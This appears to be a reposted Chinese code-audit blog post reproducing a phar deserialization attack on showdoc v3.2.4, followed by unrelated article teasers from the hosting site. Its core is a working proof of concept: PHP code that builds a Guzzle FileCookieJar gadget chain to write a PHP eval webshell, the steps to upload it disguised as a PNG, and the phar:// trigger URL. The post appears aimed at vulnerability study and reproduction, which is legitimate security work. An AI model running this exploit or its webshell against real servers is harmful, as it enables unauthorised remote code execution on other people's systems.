【代码审计】star7th/showdoc:v3.2.4 Phar反序列化写webshell

目录

漏洞速览 

复现


漏洞速览 

微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区

主要就是两步,sql注入拿到用户token,再以用户身份上传恶意phar包打phar反序列化

因为文件上传对用户权限没有限制,故本文对sql注入部分不做探讨。只关注假设已经拿到用户身份(如服务开放注册接口)后如何寻找反序列化链子并利用。

复现

关注官方的commit

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

这里public->private的过程,再结合new_is_writebale的is_dir功能,不难想到是对phar反序列化的patch

 

showdoc是基于thinkphp3.2.3的,直接拿现成的反序列化链子打RCE不很现实

关注composer.lock(类比pom.xml)寻找可用依赖

注意到guzzlehttp/guzzle

 

可以直接打现成的链子写文件,分析文章如下

popchain与对应poc的构造分析 - FreeBuf网络安全行业门户 

<?php
namespace GuzzleHttp\Cookie {class CookieJar{/** @var SetCookie[] Loaded cookie data */private $cookies;public function __construct(){$this->cookies = array(new SetCookie());}/** @var bool */private $strictMode;}class FileCookieJar extends CookieJar{private $filename = "/var/www/html/shell.php";private $storeSessionCookies = true;}class SetCookie{private $data = array('Expires' => '<?php eval($_POST[\'Z3r4y\']);?>');}
}
namespace {$phar = new Phar("doc.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");$o = new \GuzzleHttp\Cookie\FileCookieJar();$phar->setMetadata($o);$phar->addFromString("test.txt", "test");$phar->stopBuffering();
}

 生成phar包后改后缀为png直接上传

 成功上传后回显文件路径

再触发phar反序列化

 

/server/index.php?s=/home/index/new_is_writeable&file=phar:///var/www/html/Public/Uploads/2024-06-04/665ede741b7e5.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/25126.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++中的封装,继承和多态

目录 摘要 封装&#xff08;Encapsulation&#xff09; 基础用法 继承&#xff08;Inheritance&#xff09; 基础用法 多态&#xff08;Polymorphism&#xff09; 1. 虚函数 2. 纯虚函数 总结 摘要 在C中&#xff0c;封装、继承和多态是面向对象编程的三大核心特性。…

机器学习--损失函数

损失函数&#xff08;Loss Function&#xff09;&#xff0c;也称为代价函数&#xff08;Cost Function&#xff09;或误差函数&#xff08;Error Function&#xff09;&#xff0c;是机器学习和统计学中的一个重要概念。它用于量化模型预测值与真实值之间的差异。损失函数的值…

怎么换自己手机的ip地址

在互联网时代&#xff0c;IP地址已经成为了我们数字身份的一部分。无论是浏览网页、下载文件还是进行在线交流&#xff0c;我们的IP地址都在默默发挥着作用。然而&#xff0c;有时出于安全或隐私保护的考虑&#xff0c;我们可能需要更换手机的IP地址。那么&#xff0c;如何轻松…

C语言——函数指针

一、函数指针的定义 函数指针是指向函数的指针变量&#xff0c;可以用来动态调用不同的函数。使用函数指针的一般步骤如下&#xff1a; 1、定义函数指针类型&#xff1a;typedef 返回值类型 (*指针变量名)(参数列表); 2、声明函数指针变量并赋值&#xff1a;指针变量名 函数…

深入理解Android多线程开发:场景应用与解决方案解析

前言 在专栏之前的文章中,我们了解了并发、线程、线程安全、线程池等多线程开发的概念。本篇文章,我们来梳理一下在Android开发中我们面临的多线程开发中常见的应用场景和解决方案。 应用场景 资源复用和优化 并发控制与线程池的使用 为了优化资源利用和提高应用性能,需要…

【Spring Boot实现网页会话(Session )】

文章目录 前言什么是网页会话&#xff08;Session&#xff09;Spring Boot 中的 Session 管理Session 的创建与管理Session 的数据存储使用示例 前言 会话管理允许服务器在多次HTTP请求之间保持用户的状态信息&#xff0c;以便用户可以进行认证、保持登录状态等操作。 什么是…

电商系统中热库和冷库的使用与数据转换

在现代电子商务系统中&#xff0c;数据的高效管理和存储是关键。电商平台每日处理海量数据&#xff0c;这些数据不仅包括用户行为、交易记录&#xff0c;还涵盖库存信息、商品详情、物流信息等。为了优化数据存储和查询效率&#xff0c;电商系统通常采用热库&#xff08;Hot St…

C#操作MySQL从入门到精通(14)——汇总数据

前言 我们有时候需要对数据库查询的值进行一些处理,比如求平均值等操作,本文就是详细讲解这些用法,本文测试使用的数据库数据如下: 1、求平均值 求所有student_age 列的平均值 string sql = string.Empty; if (radioButton_AVG.Checked) {sql = “select AVG( student_…

Day47 代码随想录打卡|二叉树篇---最大二叉树

题目&#xff08;leecode T654&#xff09;&#xff1a; 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最大值。递归地在最大值 左边 的 子数组前缀上 构建左子树。递归地在最大值 右边 的 …

htb-linux-9-sense

nmap web渗透 目录爆破 靶机非常慢 system-users.txt ####Support ticket###Please create the following userusername: Rohit password: company defaults尝试登陆 现在我们知道了一个登陆的用户名&#xff0c;密码据称是公司默认密码。谷歌这个公司名称是pfsense现在用r…

web前端标书:深入剖析与精准构建

web前端标书&#xff1a;深入剖析与精准构建 在数字化浪潮席卷全球的今天&#xff0c;web前端技术作为连接用户与数字世界的桥梁&#xff0c;其重要性日益凸显。一份高质量的web前端标书&#xff0c;不仅是项目成功的关键&#xff0c;更是展现团队实力和专业素养的重要载体。本…

vue3如何定义一个组件

在 Vue 3 中&#xff0c;定义一个可以接收参数的组件通常是通过在组件的 props 选项中定义这些参数来完成的。当你使用组件时&#xff0c;你可以通过传递属性值来设置这些参数。 以下是定义可以接收参数的组件的步骤&#xff1a; 使用 <script> 而不是 <script setup&…

Web前端补习班:深度探索与提升之路

Web前端补习班&#xff1a;深度探索与提升之路 在信息时代的浪潮中&#xff0c;Web前端技术日新月异&#xff0c;对开发者提出了更高的要求。对于渴望在前端领域有所建树的你&#xff0c;或许正需要一场深入的补习班&#xff0c;来弥补知识的不足&#xff0c;提升技术的实力。…

C语言如何判断⽂件的结束?

一、问题 在⽂件中查找匹配的信息时&#xff0c;需要遍历⽂件中的数据信息。在遍历的过程中&#xff0c;如何判断⽂件的指针已经到了⽂件的结尾呢&#xff1f; 二、解答 1. 问题解析 在对⽂件的操作函数中&#xff0c;除了存在读写⽂件的函数&#xff0c;还有⽤于测试⽂件流是…

【Tool】Matlab 数据分析可视化

一、问题描述 近期围绕imu总是出现问题&#xff0c;自己整理了一下将数据可视化的工具 二、imu 类 1. 待处理数据格式 # yaw roll pitch time -2.08131 -0.0741765 0.0200713 121.281000000 -2.08724 -0.0745256 0.0197222 121.301000000 -2.093 -0.075747…

对Java中二维数组的深层认识

首先&#xff0c;在JAVA中&#xff0c;二维数组是一种数组的数组。它可以看作是一个矩阵&#xff0c;通常是由于表示二维数据节后&#xff0c;如表格和网格。 1.声明和初始化二维数组 声明 int[][] arr;初始化 int[][] arrnew int[3][4];或者用花括号嵌套 int[][] arr{{1,…

Python一些小操作

矢量图 from matplotlib_inline import backend_inline backend_inline.set_matplotlib_formats(svg)matplotlib中文问题 import matplotlib.pyplot as plt plt.rcParams["font.sans-serif"]["SimHei"] #设置字体 plt.rcParams["axes.unicode_minus…

【张悦】短视频、直播自然流三频共振起号实操课(价值2980元)

介绍 01.账号雷区&#xff08;账号限流&#xff09;剪辑版 02.解除限流&#xff08;废号挽救&#xff09; 03.基础推流机制和热门指标 04.账号粉丝数据分析 05.标签规则“铁粉机制 06.看账号标签打标签了 07.视频看标签打标签 08.拔升流量池之“破播三板斧” 09.破播利器“神评…

【LeetCode:312. 戳气球+ 动态规划】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…